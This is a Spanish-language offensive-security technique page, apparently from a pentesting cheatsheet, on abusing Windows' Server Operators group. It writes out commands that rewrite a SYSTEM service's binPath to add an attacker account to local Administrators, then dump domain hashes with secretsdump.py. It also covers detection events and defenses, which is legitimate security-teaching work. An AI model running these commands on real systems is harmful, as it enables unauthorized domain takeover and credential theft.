Server Operators group abuse
Arsenal completo de comandos en la cheatsheetEl grupo integrado Server Operators permite administrar servidores Windows (incluidos los controladores de dominio) sin ser Domain Admin, y por eso es un grupo muy privilegiado. Sus miembros pueden iniciar sesión local en servidores, reciben los privilegios SeBackupPrivilege y SeRestorePrivilege, y sobre todo controlan los servicios locales. Como muchos servicios arrancan como LocalSystem, reconfigurar el binario de uno de ellos permite ejecutar un comando arbitrario como SYSTEM y, en un DC, tomar el dominio entero.
Mecanismo
Se busca un servicio que arranque como SYSTEM sobre el que Server Operators tenga control total. Primero se confirma la cuenta bajo la que corre con sc.exe:
sc qc AppReadinessSERVICE_START_NAME : LocalSystemCon PsService (Sysinternals) se comprueba la DACL del servicio: BUILTIN\Server Operators con All significa SERVICE_ALL_ACCESS, es decir, control total:
PsService.exe security AppReadiness [ALLOW] BUILTIN\Server Operators
AllEntonces se reescribe el binPath del servicio para que ejecute nuestra acción (aquí, añadirnos a los administradores locales) y se arranca. El arranque suele fallar (el binario ya no es un servicio real), pero el comando del binPath se ejecuta igual como SYSTEM:
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
sc start AppReadiness
net localgroup AdministratorsCon acceso de administrador local sobre el DC ya se pueden volcar todos los hashes del dominio:
secretsdump.py server_adm@<ip> -just-dc-user administratorRequisitos
Pertenecer a Server Operators (SID S-1-5-32-549) y que exista un servicio que arranque como SYSTEM con la DACL por defecto que otorga control total al grupo. En un DC esto equivale a compromiso total del dominio. Conviene devolver el binPath original después y anotar el cambio, porque es una acción con impacto.
Cómo detectarlo. Delatan el abuso los eventos de cambio de configuración de servicio (7040/4697) modificando el binPath a un cmd /c o powershell, seguidos de un intento de arranque que falla (7000/7009), y la aparición de una cuenta nueva en Administradores o el uso posterior de secretsdump/DCSync. La reconfiguración de servicios del sistema por una cuenta que no es Domain Admin es la señal principal.
Defensa. Vaciar Server Operators salvo necesidad real y tratarlo como grupo de nivel 0; endurecer las DACL de los servicios para que grupos operativos no tengan SERVICE_ALL_ACCESS; auditar los cambios de binPath; y aplicar niveles administrativos (tiering) para que administrar servidores no implique tocar el DC. Es pariente del abuso de permisos de servicio, del abuso de Account Operators y del abuso de SeBackupPrivilege, y culmina en el volcado de NTDS.